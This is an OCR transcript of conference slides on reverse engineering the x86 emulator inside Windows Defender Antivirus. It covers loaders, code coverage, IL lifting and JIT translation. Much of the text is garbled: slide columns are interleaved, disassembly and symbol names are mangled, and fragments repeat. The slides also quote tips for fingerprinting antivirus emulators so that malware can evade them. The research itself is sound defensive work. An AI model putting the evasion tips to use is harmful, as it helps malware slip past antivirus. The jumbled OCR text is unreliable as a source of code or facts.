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This Presentation Is...

® A deeply technical look at
Windows Defender
Antivirus’ binary emulator
internals

® As far as | know, the first
conference talk about
reverse engineering any
antivirus software’s binary
emulator



This Presentation Is... This Presentation Is Not...
® A deeply technical lookat e An evaluation of Windows

Windows Defender Defender Antivirus’
Antivirus’ binary emulator efficacy as an antivirus
internals oroduct

® As far as | know, the first
conference talk about
reverse engineering any
antivirus software’s binary
emulator

e Related to Windows
Defender ATP, or any
technologies under the
Windows Defender name
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Why Windows Defender Antivirus

Windows’ built-in antivirus software:
e Now the “Defender” name covers multiple mitigations and security

controls built into Windows
This presentation is about Windows Defender Antivirus, not Windows

Defender ATP, Application Guard, Exploit Guard, etc...
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Windows’ built-in antivirus software:
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e Huge AV market share - “8% of systems running Windows 7 and

Windows 8 are running Windows Defender and more than 50% of
Windows 10 devices”*

*windowsreport.com/windows-defender-enterprise-antivirus/



Why Windows Defender Antivirus

Windows' built-in antivirus software:

e Now the “Defender” name covers multiple mitigations and security - -

controls built into Windows
This presentation is about Windows Defender Antivirus, not Windows

°
Defender ATP, Application Guard, Exploit Guard, etc...

e Huge AV market share - “8% of systems running Windows 7 and
Windows 8 are running Windows Defender and more than 50% of

Windows 10 devices”*

e Runs unsandboxed as NT AUTHORITY\SYSTEM
O Exploit = initial RCE + privilege escalation + AV bypass

® Surprisingly easy for attackers to reach remotely

*windowsreport.com/windows-defender-enterprise-antivirus/



Motivation

M Tavis Ormandy @
& ataviso

| think @natashenka and | just discovered
the worst Windows remote code exec in
recent memory. This is crazy bad. Report on
the way.

2505 Fevvects 28790kes J AP D DODD D
AVlLeak:

Fingerprinting Antivirus Emulators
For Advanced Malware Evasion

Alexei Bulazel

blgc’:k hat

USA 2016

([ Follow ) ~

Tavis and co. at PO dropped some
awesome Defender bugs

| had analyzed AVs before, but
never Windows Defender

| reversed Defender’s JS engine for
~4 months, then got interested in
the Windows emulator

My personal research side project
during winter 2017-2018: ~5
months of reversing, another
month documenting



Target - mpengine.dll

mpengine.dll provides malware
scanning and detection capabilities -
other AV features and OS integration are
handled in Defender’s other components

mpam-fe.exe released monthly:
® mpengline.dll

“Microsoft Malware Protection Engine”
Also bundles 4 other binaries

® MPSigStub.exe

“Microsoft Malware Protection Signature Update Stub” bov b, al

3 )} // starts at 75

® mpasbase.vdm oo 8 x

rex, [rsp+48h+var_20 ea r8, aArrayPrototype_10 ; "Array.protot
sub_75A2E7488 mov edx, @Dh
v rcx, rl@
sub_75A33A05C
bl, al
loc_75A2FF8CA

. d l t d =77 PACKEDBINARY
#fE BOOTTIMETOOL
mpas a . vain E ENGINEKSL
ghE HOSTPROCESS
%€ ORPLIBRARY

WEVT_TEMPLATE
@ 1

e mpavbase.vdm [inds

) Block 30000000 - 30000002h

) Block 50000004h - 50000004h

o mp avVv d :l_ t a.Vv dm -] Block 70000001h - 70000007h
Black B000OO01h - BOOOOO02h

] Block BO00OOSh - BOOOOOOh

o 32 & 64-bit builds

loc_75A2FF8D1:
\ r9b, [rsp+48h+arg_20]
rdx, rl@
call sub 75A2FF3E@




My Prior Research:
Windows Defender’s JavaScript Engine

Reverse Engineering
Windows Defender’s

JavaScript Engine b l + 1 v /
Alexei Bulazel -
@0xAlexel 2q10857

REcon Brussels 2018

Presented at REcon Brussels (Belgium), February 2018



JS Engine bit.ly/2gio857

JS engine used for analysis of
potentially malicious code -
reversed from binary




JS Engine bit.ly/2gio857

JS engine used for analysis of
potentially malicious code -
reversed from binary

Custom loader / shell used for
dynamic experimentation - thanks
Rolf Rolles!

./Jsbhell. exe

ONSTRUCTOR_CALL: 6EA1B2AE
ESTRUCTOR: 6EA21838
ONSTRUCTOR: 6EA21ACA
E 6EA18875
pscript?> (function O{fordvar i = B; i < 3; i++>{printdi

MpEngine.d11">33>()
rint(>: @: Hello from inside MpEngine.dll
rint(>: 1: Hello from inside MpEngine.dll
rint(>: 2: Hello from inside MpEngine.dll
rint(>: undefined
ogl): <NA>: B: execution took 239 ticks
ogl): <NA>: BA: final memory used 7KB
ogid: <NA>: B: total of B GCs performed

nded. Result code: @
pscript>

Windows Binary

JS Input
(function () {
for (var i =

log(i);

Add Custom
VTable

MpEngine.dll

JavaScriptInterpreter::eval

b JsRuntimeState::
JsRuntimeState ()




JS Engine bit.ly/2gio857

JS engine used for analysis of
potentially malicious code -
reversed from binary

AV instrumentation
callbacks

Custom loader / shell used for
dynamic experimentation - thanks
Rolf Rolles!

./Jsbhell. exe

JavaScriptInterpreter::eval

b JsRuntimeState::

ONSTRUCTOR_CALL: 6EA1B9AE JsRuntimeState (
ESTRUCTOR: 6EA21830
ONSTRUCTOR: 6EA21ACA

: 6EA1B875

pscript?> (function O{fordvar i = B; i < 3; i++>{printdi
MpEngine .d11")33>(>
rint(>: @: Hello from inside MpEngine.dll

JS Input

rint¢(>: 1: Hello from inside MpEngine.dll (function () {
rint(>: 2: Hello from inside MpEngine.dll for (var i =

rint(>: undefined 10 g
og(d: <NA>: @: execution took 239 ticks log (i)
ogl): <NA>: BA: final memory used 7KB
ogid: <NA>: B: total of B GCs performed

nded. Result code: @
pscript>




JS Engine bit.ly/2gio857

JS engine used for analysis of
potentially malicious code -
reversed from binary

Custom loader / shell used for

dynamic experimentation - thanks
Rolf Rolles!

Security at the cost of
performance

AV instrumentation
callbacks

JsRuntimeState: :trige

o

./Jsbhell. exe

ONSTRUCTOR_CALL: 6EA1BYAE
ESTRUCTOR: 6EA218308
ONSTRUCTOR: 6EA21ACA

B 6EA1B875
pscript?> (function (O{fordvar i = 8;

MpEngine .d11">33>C

rint(>: @: Hello from inside MpEngine.dll

rint(>: 1: Hello from inside MpEngine.dll

rint(>: 2: Hello from inside MpEngine.dll

rint(>: undefined

ogl): <NA>: B: execution took 239 ticks
ogl): <NA>: BA: final memory used 7KB
ogid: <NA>: B: total of B GCs performed

nded. Result code: @
pscript>

i < 35 i+s{printdi

JS Input
(function

() {
for (var i =

log(i);

CANTHRVE AUSE AFTER FREE

| £}
2R S
~_ IRYOU NEV

0

™

ER CALL FREE

on
e-Thee
yal

JavaScriptInterpreter::eval

b JsRuntimeState::
JsRuntimeState ()




Related Work

~___AntiVirus 2.0
) .. ) “Compilers in disguise”
e Only a handful of prior publications on binary

gf, 1 Mihai G. Chiriac
reversing of antivirus software S BitDefender
® Lots of conference talks, whitepapers, and blogs on AVl eak:
antivirus evasion, including against emulators Fingerprinting Antivirus Emulators 1
O AVLleak with fellow RPI researchers Jeremy Blackthorne, For Advanced Malware Evasion

Andrew Fasano, Patrick Biernat, and Dr. Biilent Yener - side
channel-based black box emulator fingerprinting

Alexei Bulazel

® Tavis Ormandy’s Defender bugs from 2017

blac
e As far as | know, there'’s never been a ST I
publication about reverse engineering
the internals of an AV emulator*

*AV industry companies have occasionally presented on
the design of their emulators at conferences. Industry
patents also often have interesting information about
AV internals.
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Why Emulate?

Traditional AV model: scan files and look for
known malware signatures (file hashes,
sequences of bytes, file traits, etc...)
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known malware signatures (file hashes,
sequences of bytes, file traits, etc...)
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packed code, novel binaries, etc



Why Emulate?

Traditional AV model: scan files and look for
known malware signatures (file hashes,
sequences of bytes, file traits, etc...)

Problem: signatures are easily evaded with
packed code, novel binaries, etc

Solution: run unknown binaries in a virtual
emulated environment - look for runtime

malicious behavior or known signatures
® Not a new idea, in use for at least 15 years

nt!PEB
Settings

In-Emulator
OS Facilities

AV Instrumentation

Other

(inteD) L [scmin

Engines

‘0
ARM iz

CPU OS (Kernel) Persistent
Emulation Emulation System State

mpengine.dll

a.k.a:

sandboxing
heuristic analysis
dynamic analysis
detonation
virtualization




Emulation Overview

nt ! PEB
Settings

In-Emulator
OS Facilities

AV Instrumentation

Other

Engines

intel A Scanning
0

CPU OS (Kernel) Persistent
Emulation Emulation System State

mpengine.dll




Emulation Overview

® |oad unknown potentially
malicious binary
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® Begin running from entrypoint,
and run until termination
condition
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Emulation Overview

® |oad unknown potentially
malicious binary

. . o t ! PEB
® Begin running from entrypoint, Sn "
. . o ettings
and run until termination
. . In-Emulator
condition OS Facilities

o Time AV Instrumentation
O Number of instructions
Other

O Number of API calls - p - :
lntel Scanning
‘ Engines
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Emulation Emulation System State

mpengine.dll




Emulation Overview

® |oad unknown potentially
malicious binary

. . . t | PEB
® Begin running from entrypoint, Sn "
. . . ettings
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.. In-Emulator
condition OS Facilities
O Time AV Instrumentation
O Number of instructions
o Number of API calls " p == ?ther,
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Emulation Overview

® |oad unknown potentially
malicious binary

® Begin running from entrypoint, SZiinBS
and run until termination -
. . In-Emulator
condition OS Facilities
o Time AV Instrumentation
O Number of instructions
O Number of API calls . p s Other
O Amount of memory used ( |nte| Ecapmng
O etc... ‘ ngines

ARM

CPU OS (Kernel) Persistent
Emulation Emulation System State

mpengine.dll




Emulation Overview

® |oad unknown potentially
malicious binary

® Begin running from entrypoint,

and run until termination

condition

o Time
Number of instructions
Number of API calls
Amount of memory used
etc...

O O OO

® Collect heuristic observations
about runtime behavior, look
for signatures in memory or
dropped to disk, etc...

nt ! PEB
Settings

In-Emulator
OS Facilities

ARM

CPU

Emulation

OS (Kernel)
Emulation

AV Instrumentation

Other
Scanning
Engines

Persistent
System State

mpengine.dll
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Static Analysis

~12 MB DLL

~30,000 functions

IDA Pro

O Patch analysis with BinDiff

Microsoft publishes PDBs

Please confirm

IDA has determined that the input file was linked with debug information, and the symbol filename is:
‘mpengine.pdb’

Do you want to look for this file at the local symbol store

and the Microsoft Symbol Server?

N R

[] Don't display this message again

x86_code_cost::update_cost(tag_DT_instr_info *)

x86_common_context::
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context:
x86_common_context::
x86_common_context::

“scalar deleting destructor'(uint)

:dear_zF_flag(void)
:ell_emu_intnn(DT_context *,ulong)
:emu_intnn(DT_context *,ulong)
:emu_pushval <ulong>(ulong,ulong)
:emu_pushval <ushort>(ushort,ulong)
:emulate(DT_context *,unsigned __int64)
:emulate_CPUID(DT_context * bool)
:emulate_inv_opc(void)
:emulate_lslar(DT_context *,uchar,bool)
:emulate_rdmsr(void)
:emulate_verrw(DT_context *,ulong)
:get_IL_emulator(void)
:get_descriptor(ushort, tag_x86_descriptor &)
:get_eflags(void)

:get_x86_opcode(unsigned __int64 &, uchar &
:notify_DT_event(DT_context_event_t)
:notify_nondeterministic_event(ulong)
:rdtsc(void)

:reset(void)

:save_last_mmap_info(void)
:set_CPUID_features(ulong,ulong,ulong,ulong
:set_ZF_flag(void)

:set_eflags(ulong)
:vmm_map<1,27>(unsigned __int64)
:vmm_map<132,27>(unsigned __int64)
:vmm_map<3,26>(unsigned __int64)
:vmm_map <43, 26>(unsigned __int64)
rvmm_map<63,25=>(unsigned __int64)
:vmm_map<79,25>(unsigned __int64)
:vmm_read <ulong>(unsigned __int64)
:vmm_read <ushort>(unsigned __int64)
:vmm_write <uchar >(unsigned __int64,uchar)
:vmm_write <ulong >(unsigned __int64,ulong)
:vmm_write <ushort>({unsigned __int64,ushor

x86_common_context(DT_context *)
~x86_common_context(void)

x86_common_frontend<x64_IL_translator >(DT_context *)

Line 30037 of 30155




@taviso

Dynamic Analysis & Loader Q msomns v

Surprise, | ported Windows Defender to

® Protected Process Hnx = o
O Cannot debug, even as local admin ot g D ot e ot
® Introspection e
® Scanning on demand
e Code reachability may be configuration / 2058 Retcets 3218 ke mer (@) 2B
heuristics dependent Ow nax ©oex ff

Example: MPEngine Lockdown

e “Protected Processes” - Windows programs that you
cannot debug with a usermode debugger, even if you
have all privileges
Attackers can load a signed vulnerable driver, run an
exploit, get execution & deprotect the process - so ...
why?

WILEY

“Repeated vs. single-round games in security”
Halvar Flake, BSides Zurich Keynote




Dynamic Analysis & Loader Q msomns v

@taviso

Surprise, | ported Windows Defender to

® Protected Process Hnx = o
© Cannot debug, even as local admin Py i ek s e

® Introspection e

® Scanning on demand

e Code reachability may be configuration / 2058 Retcets 3218 ke mer (@) 2B

heuristics dependent Ow nax ©oex ff
Example: MPEngine Lockdown

Solution:

e “Protected Processes” - Windows programs that you

CUStom |Oadel‘S for cannot debug with a usermode debugger, even if you

AV b . have all privileges
Inaries Attackers can load a signed vulnerable driver, run an

exploit, get execution & deprotect the process - so ...
why?

WILEY

“Repeated vs. single-round games in security”
Halvar Flake, BSides Zurich Keynote




Tavis Ormandy’s loadlibrary git.i0o/fbp0X

® PE loader for Linux
O Shim out implementations for Windows API imports
o0 Only implements the bare minimum to get mpengine.dl1 running, not

a general purpose Windows emulator or Wine replacement
e mpclient tool exposes the main scanning interface
o | built ~3k LoC of additional tooling on top of mpclient

taviso / loadlibrary @Watch~ | 128  Unstar 2,350 Y Fork 159
Pull requests 0 Projects 0 Wiki Insights

Porting Windows Dynamic Link Libraries to Linux

linux porting windows

D 49 commits N 22 7 contributors sfs GPL-2.0

Branch: master v New pull request Create new file =~ Upload files = Find file Elonuzr mm'

s taviso Update README.md = Latest commit 643a6a@ 3 days ago

| covera ge Update README.md a year ago



mpclient git.io/fbp0OX

Linux mpclient
Binary




mpclient git.io/fbp0OX

Linux mpclient

. MpEngine.dll
Binary




mpclient git.io/fbp0OX

Linux mpclient

Binary WinAP|
Emulation TAT

MpEngine.dll




mpclient git.io/fbp0OX

Linux mpclient
Binary

WinAPI
Emulation

MpEngine.dll

IAT

Emulator

g_syscalls

OutputDebugStringA

WinExec
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Binary
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Emulation
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mpclient git.io/fbp0OX

Linux mpclient
Binary

WinAPI
Emulation

MpEngine.dll

IAT

Emulator

g_syscalls

OutputDebugStringA

WinExec

AN

Scanning Engine
Selection




mpclient git.io/fbp0OX

Linux mpclient

Binary WinAPI
Emulation

Threat Virus:
Win32/Virut.BN!dam identified.

MpEngine.dll

IAT

Emulator

g_syscalls

OutputDebugStringA

WinExec

AN

Scanning Engine
Selection




Demo
N\

Scanning with mpclient



Dynamic Analysis - Code Coverage

; bool _cdecl is_vdll_page(struct pe_vars_t *, unsigned _int64)
24s_vd11_page@@YA_NPAUpe_vars_ty proc nea:

= dword ptr
4= quord ptr 6C

e Getting an overview of what subsystems are being hit is .
helpful in characterizing a scan or emulation session

O Breakpoints are too granular ’
Emulator has no output other than malware identification
® Lighthouse code coverage plugin for IDA Pro from Markus

Gaasedelen of Ret2 Systems / RPISEC

B DAview-A

edx, K
ort loc_SA394408

[0 Hexview-1 Structures Imports

Function Name Blocks Hit Instructions Hit

Functio

KERNEL32_DLL_GetCurrentThread (pe_vars_t *) OxSASEOD20 2

100.00% mmap_virtualprotect (pe_vars_t *,unsigned _ int64,ul 1 long *) 3/3 31/ 31 82 2
100003 KERNEL32_DLL_GetThreadContext (pe_vars_t *) OXSASEGFEQ 1/1 15 /15 6 1
100.00% scan_vbuff (pe_vars_t *,uchar const *,ulong,unsigned _ inté4,bool) 0x5A5888F9 3/3 36 / 36 116 2
99.143 KERNEL32_DLL _VirtualProtectEXx(pe_vars t *) 0xS5A563430 17 /18 115 / 116 385 12
97.48% pe_GetThreadContext (pe_vars_t *) OxSASE701F 18 /19 116 7 119 482 )
96.83% pefile call attrmacch handlers(pe_vars t *,char const *) 0xSA45FBEL 9/ 10 61/ 63 219 6
95.80% IsInternalBlock(pe_vars_t *,unsigned _ inté4,uint) 0x5AS58CDES 44/ 47 137 /7 143 430 a0
94.29% | |mmap_virtualquery(pe_vars t *,unsigned _ int64, MEMORY BASIC INFORMATION32 *) |  0X5A588768 3/4 33 /35 97 2
28.89% KERNEL32_DLL_CloseHandle (pe_vars_t *) 0xSASEF260 3/4 40/ 45 144 2
£8.00% pem_probe_for_write (pe_vars_t *,unsigned _inté4,ulong) 0X5A56364C 4/5 22 /25 60 3
81.25% 1s_vdll_page (pe_vars_t *,unsigned _ intéd) 0x5A5943E7 s/8 26 / 32 82 5
77.78% GetBBFromContext (pe_vars_t *) OXSA41DATE 3/4 779 24 2
61.223 CallPostEntryCode (pe_vars_t *) 0x5A5884D3 7712 60 / %8 334 3
58.54% mmap_is_dynamic_page (pe_vars_t *,unsigned _ int4) 0XSAS6EA32 8/ 10 24/ 41 &9 8
51.143 pe_refresh_sigdriven_attributes (pe_vars_t *,ulong) 0x5R45C775 30/ 73 180 / 352 1214 61
50.38% pe_save_CTX(pe_vars_t *,ulong) OXSASGE4TE 40/ 44 201 /7 399 1418 24
36.363 scale MP_budget (pe_vars_t *,unsigned _ intéd) 0x5A593DED 273 8/ 22 64 2
NIDLL_DLL NtCloseWorker (pe_vars_t *) OXSASERSBO / ’ 18

/ 7 35

scan_pe_dtacan (pe_vars_t *)

Examples: Halvar Flake’s SSTIC 2018 keynote

0xSA590690

Getting coverage traces from MPENGINE.DLL - difficult because of privileged process
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Getting Emulated

®  rsignal function provides an entry
point into Defender’s scanning - give it a
buffer of data and it returns a malware
classification

eax, 400@3h
loc_5A6633FB

® Defender uses emulation to analyze
executables it does not recognize with
other less expensive analyses

® Emulation results are cached - a given

ecx, _WPP_GLOBAL_Control
cx, offset _WPP_GLOBAL_Control

binary will only be emulated once, even if =i 2 shore loc ssbeaeas
scanned multiple times o




MpSetAttribute(v1l->sr,"pea_suspicious_section_fsize"
30->peattributes[100] ==

0i64, 0i64);

->pehdr.SectionAlignment - 1) & (

->peattributes[101] )

->pehdr.SectionAlignment + ->pe

[EE: I .l: I ..l: . I [ .l: .
MpSetAttribute( ",->sr,l”pea suspicious section vsize”l 0i64, 0i64);

Allocate memory

Initialize various objects and subsystems used e
during emulation

Load the binary to be analyzed - relocate,
resolve imports, etc

Initialize virtual DLLs in the process memory i<

Space MpSetAttribute(vll->sr, Ipea suspicious_section_offset” l0164 0i64);

->pesecs[ ].Name[0@];
isprint( );

H
10 && ! ->peattributes[102] )

e
- ¢

!
—~

MpSetAttribute(v8 ->sr,I”pea_suspicious_section_name”I 0i64, 0i64d);
->peattributes[102] =T,
3

->pesecs| ].PointerToRawData & Ox1FF && ! ->peattributes[104] )

8 >peattr1butes[104] =1,

_idx = vdll_get_index_by_name(name, vi->vhost);

Heuristic observations about the binary are
recorded - section alignment, number of
imports etc ” (RecID = B, nidsearchrecidex(NID_APISET_REDIRECT, &RecID, CRC, @) !=1
’ (recliame id(RecIl
Il *re

=cllame = namefromrecid(FecID)) == @
recllame 1= 35 )

CRC = CRCUpperStringExA(v28, name, v6l);
_strnicmp(name, "api-ms-", Fu);

. {
"'—>1magename[9] ) Str*lnchhCopyA( riginaln ane, @x184u, name);
DLLName = “unknowndll.d1l"
¥
imagellame = "C:\\Windows\\iexplore.exe"; ?he
if (I .‘—>pehdr‘ Char‘acterlstlcs & IMAGE FILE DLL) ) StringCchCopyA(originalnane, @x104u, nane);
L o — \ i) DLLName = recName + 1
Al ::f“‘:[ e = "C: \myapp . exe” CRC = (RCUpper‘Str‘lngExA( 35, DLLName, v61);
StringlchCopyAl: ‘->1magename Bxl@du, imagellame), ¥
N dll idx = vdll_get_index_ by name(DLLName, v1->vhost);

}
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nt!PEB
Settings

In-Emulator
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Emulation
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CPU Emulation

® Support for many architectures
O This presentation looks at x86 32-bit

DT platform x86 16 = 0nO

. . . DT platform x86 32 = 0Onl

® Technically dynamic translation, not DT platform x86 64 = On2
“emulation” DT platform emu IL = 0n3

O Lift to IL, JIT compile to sanitized x86 DT _platform NETRPEF = 0On4

DT platform NETEmu = 0Onb5

e Architecture-specific software emulation =~ DPT_platform DT1ib32 = Onb6
f ti handl . difficult to lift DT platform DTlib64 = On7

instructions DT platform ARM = 0n9
DT platform count = 0Onl0

® The subsystem is incredibly complicated,

and could be a full talk in its own right .
o Not a primary focus of this research and the ‘a Q‘:
subsystem | understand the least about b

VMProtect

softwar./c;



oy o |f] ARM_2_IL(DT_context *)
* 2 I L L I ftl n g \Z] NETEmu_2_IL(DT_context *)
— — | 7] NETRPF_2_IL(DT_context *)
[F] VMP_2_IL(DT_context =)
E x64_2_IL(DT_context *)
E x86_2_IL(DT_context *)

Individual architecture to IL lifting s

Grab the bytes of opcode, determine
type, then emit IL accordingly

I've done this same exercise with anti-virus engines on a number of occasions. Generally the
steps | use are:

|->m_icode[vl->m_last icode_ix]
11 1. Identify the CPU/Windows emulator. This is generally the hardest part. Look at filenames, and . . .
also grep the disassembly for large switch statements. Find the switches that have 200 or =T >m—10FFS [ =T >m—laSt—1C0de—1X]
v more cases and examine them individually. At least one of them will be related to decoding gOtO LABE L_99;

the single-byte X86 opcodes. case 0x13u:

. Find the dispatcher for the CALL instruction. Usually it has special processing to determine .. .
whether a fixed address is being called. If this approach yields no fruit, look at the strings in X86—I L_common - push_reg_Ev(& -7 >prtr\ > e) )
the surrounding modules to see anything that is obviously related to some Windows API. 1 - >m_vticks_tmp = 6;

. Game over. AV engines differ from the real processor and a genuine copy of Windows in goto LABE l__48;
many easily-discernible ways. Things to inspect: pass bogus arguments to the APIs and see if case Ox14u:
they handle erroneous conditions correctly (they never do). See if your emulator models the "
AF flag. Look up the exception behavior of a complex instruction and see if your emulator X86_I L_common HH pop_reg_Ev(& - >vfptr) >
implements it properly. Look at the implementations of GetTickCount and GetLastError
specifically as these are usually miserably broken.

Example: Single-byte x86 push register
share improve this answer answered Se '13 at 8:
P e opcodes all map to type Ox13

34 3,608 © 11 @ 24




IL Emulation in Software Emulator can run IL bytecode in software

IL_emulator::ell_imul 16f(void * const *) N N

1L_emulator:zelL_imul32f(void * const %) d d b h f I
s | did not observe this software IL emulator
IL_emulator::elL_imul8f(void * const *) O o o

Eeee | ked d h

gt eing invoked during my researc

IL_emulator::elL_inc8f(void * const *)

IL_emulator::eIL_mul16f(void * const *) . HypotheSiS: used for non-X86 host

IL_emulator::ellL_mul32f(void * const *)

IL_emulator::eIL_mul4f(void = const *) t W' d A R M ?
IL_emulator::eIlL_mul8f(void * const *) Sys e l I l S, e . g .y I n OWS O n .
IL_emulator::eIl_or16f(void * const *)

IL_emulator::ell_or32f(void * const *)

IL_emulator::eIL_or8f(void * const *) e I L I D XOr 8

IL_emulator::ell_rcl16(void * const *)
IL_emulator::ell_rc16f(void * const *) E = = e I L_ I D_X or 1 6
IL_emulator::eIl_rd32(void * const *)
IL_emulator::ell_rd32f(void * const *) e I L I D XOr 3 2
IL_emulator::ell_rc64(void * const *) - -
IL_emulator::elL_rd64f(void * const *) mov eax, [esit+8] E = =
IL_emulator::elL_rcl8(void * const *) mov ecx, [esi+4]
IL_emulator::ell_rd8f(void * const *) dl, [eax]

IL_emulator::ell_rcr16(void * const *)

run IL emulator

loc_SASA@6EA: ; jumptable SA59DBA1
mov esi, [ebx]

loc_SASABCAC: ; jumptable S5AS9DBA1
esi, [ebx]

IL_emulator::eIL_rcr16f(void * const *) dl, [ecx .
» eax, [esi+8] il e [

IL_emulator::ell_rcr32(void * const *) — ecx, [esi+d]
IL_emulator::ell_rcr32f(void * const *) s

IL_emulator::elL_rcr64{void * const *) : iz::(, 5&:;;;22“ loc_5A59FA89: ;5 Jjumptable 5A59DBA1
IL_emulator::ell_rcr8(void * const *) = mov esi, [ebx]

IL_emulator::ell_rcr8f(void * const *) eax, [es%+8]

IL_emulator::eIL_rol16(void * const *) eax, [esi+0Ch] ecx, [esi+d]

IL_emulator::elL_rol16f(void * const *) . loc 5A59DC3C edx, [ea).(]

IL_emulator::eIL_rol32(void * const *) , ﬁ
ecx
2

eax, [esi+dCh]
loc_5A59DC3C

I
loc_5A795BD4:
mov eax, [esp+88h+anonymous_0]
movzx eax, word ptr [eax]
cmp eax, 178h ; switch 377 cases
ja loc_5A79A865 ; jumptable 5A7

Y e S [ S e




IL-to-x86 JIT Translation

IL code can be translated to x86 and

executed, a basic block at a time
Check out

MSFT'’s

| observed this IL-to-x86 JIT being
VB2005 paper

exercised during research

this, esi ; this

byte ptr [eax], 8BAh

Calls to esclape]
functions are JITted for
special handling of
unique instructions

8h ; mov eax, imm

BLh], BEh

dword ptr [e51+
loc_5A3E525D ; jumptable SA3E878A default case

DEFEATING POLYMORPHISM:
BEYOND EMULATION

Adrian E. Stepan
Microsoft Corp., One Microsoft Way, Redmond,
WA 90852, USA

lea opcode = 0x8d

__thiscall IL x86 common::lea r32 ii

__intl6 regxor; [/ &
char *x86Buf2; // e
char *x86Buf; //

egxor = reg << 11;
if ( i >= Ox30 )

is->m_exe_ix];

is->m_exe_ix];



Architecture-Specific esc Handlers

; void cl *c _handlers[51]
ARM esc handlers dd offset ..1?$Resmgr‘PluginGlue@VCResmngile@@$1?ResmngileInit@@YA?A\-MMP_ERRORA

Q h L] L] fl f L] L] d
rC Ite Ctu re S p eCI I C u n Ctl O n S p rOVI e offset )GetAttr‘1buteLlst@Resour‘(eItemBase@@UBEXAAV>$CSthefL15t@UIAttrlbuteItw
offset 2ARM_parseint@@YIXPAVDT_context@@K@Z ;
o = = offset >>1>:7oResmgr‘F’luglnGlue@VCResmgr‘F:tle@(r_i&l>Resmgr‘F11eIn1t@@YA>AU~'1t‘|P ERROR@(
handling for unique architectural events e o
offset )eIL inv opc@@YIXPAVDT context@@K@Z ; eIl C
offset ?ARM_signal_ tick@@YIXPAVDT_context@aK@Z ; A sig —1 tick
offset >>1>$Resmgr‘F’luglnGlue@VCResmgr‘F:tle@(r_i»M>Resmgr‘F11eIn1t(r_i@YA3All~'lt‘1P ERROR@(

a n d e m u | ati O n Of u n iq u e i n St ru Cti O n S offset >>1>$Resmgrplug1ne1ue@V(Resmng11e@@$1>|}esmngueInlt@@YAmuAMP ERROR@(

offset 2ARM_FLG_load@@YIXPAVDT_context@@@Z ; ARM
offset ?ARM_FLG_store@@YIXPAVDT_context@@@Z ; /
. offset ?ARM_check_bx@@YIXPAVDT_context@a@Z ; AR
; void lec] S ) ::DT1ib_x32_escfn[21 offset ?ARM_usad@@YIXPAVDT_context@@@Z ; A
DTLIB DT11b x32_escfn dd oﬁ‘set @x86_| prlntregs wr‘ap@S offset 2ARM_ssat@@YIXPAVDT_context@@K@Z ;
< . 1ib32 sourc - 5 nface * [ - * offset ?ARM_usat@@YIXPAVDT_context@aK@Z ; A
x86 printregs wrap ’ offset ?ARM_ssat16@@YIXPAVDT_context@@K@Z ;
o offset ?ARM_usat16@@YIXPAVDT_context@@K@Z ;
offset ?x86_valid dlv@@YIXPAVDT context@@KK@Z ; x86_vali iv * ulo offset ?ARM:qadd@@%XPAVDTic;ntext@@CKgi@;

offset ?DT1lib_parseint@TLIB@@YIXPAVDT_. context@@K@Z int(D ntext *,ulong offset 2ARM_qdadd@@YIXPAVDT context@EK@Z ; A
offset ?x86_emulate@@YIXPAVDT_context@aK@Z ; > ate(DT t *,ulong offset 2ARM_qsub@@YIXPAVDT_context@@K@Z ;

offset 2x86_inv_opc@@YIXPAVDT_context@@K@Z ; v ) *,ulong offset 2ARM_qdsub@@YIXPAVDT_context@@K@Z ;

oFfset S em_InETGEYDPAYT CortercheE? ; <35 ircrn (0T conext e
offset ?x86_signal_tick@@YIXPAVDT_context@aK@Z ; igna xt *,ulon offset :’ARM:smlalbt@@YIXPAVDT:context@@K@Z
offset ?x86_emu_bound@@YIXPAVDT_context@@@Z ; x86_e offset 2ARM_smlaltb@EYIXPAVDT context@EK@Z ;
offset >>1>$ResmgrPluglnGlue@VCResmgrFlle@@$1>Resmng11eIn1t@@YA>AlJ4MP @ i s offset ?ARM_smlaltt@@YIXPAVDT_context@@K@Z ;
offset ?x32_exe_bkpt@@YIXPAVDT_context@@K@Z ; x32_e> kpt ulong offset 2ARM_smlald@@YIXPAVDT_context@@K@Z ;
offset ?x32_load_selector@@YIXPAVDT_context@@K@Z ; 0 ector(DT_c on offset 2ARM_smlaldx@@YIXPAVDT context@@K@Z ;

12 > 5 ) offset 2ARM_sm1s1d@@YIXPAVDT context@@K@Z ;
offset 1?$ResmgrPluginGlue@VCResmgrFile@@$l? Resmgr‘FlleInlt@@YA AllAMP ERROR@@PAVAutoInltModule oFfset ARM smls1dx@@VIXPAVDT context@@K@Z :

offset ?x32_check_priv@@YIXPAVDT_context@aK@Z ; x32 v(D t *,ulor offset ?ARM_umlal@@YIXPAVDT_context@@K@Z ; A
offset ?x86_store_FPU_CSIP@@YIXPAVDT_context@@@Z ; > FPU_C r offset >ARM_umaal@@YIXPAVDT context@@K@Z ;
offset >>1>$Resmgr‘PluglnGlue@VCResmgr‘F1le@@$1>Resmgr‘F11eIn1t@@YA>All4MP ERROR@@PAVAutoInltModule‘ offset 2ARM_add8@@YIXPAVDT_context@@K@Z ;
offset 2212$ResmgrPluginGlue@VCResmgrFile@@$l?ResmgrFileInit@@YA2AW4MP_ERROR@@PAVAutoInitModules offset 2ARM_add16@@YIXPAVDT_context@@K@Z
offset ??1?$ResmgrPluginGlue@VCResmgrFile@@$l?ResmgrFileInit@@YA2AWAMP_ERROR@@PAVAutoInitModule: offset 2ARM_asx@@YIXPAVDT_context@@k@Z ; A
offset ))1)$ReSmgppluglnGlue@chesmgrFllem$1)Resmgr\Fq‘Inand»/).V;\VI\)I\HAMD ERRNRAADAVA+ATni +Madiil ac offset 2ARM_sub8@@YIXPAVDT_context@@K@z ; A

offset ?x86_eFX_load@@YIXPAVDT context@@@Z ; > =FX_ case OxA2u: // opcode OxOF
offset ?x86_eFX_store@@YIXPAVDT_context@@@Z ; 2c _ . . iy .
offset 331)$ResmgrPluglnGlue@VCResmng119@@51’Resmgr‘F ST x86_common_context. 'emUIate_CpUID( 3 Fo 1))
offset 22 RADTState@DTLIB@@6B@ : const DTLIB::DTState if ( -)m_enable_cpuid_pandomizing )
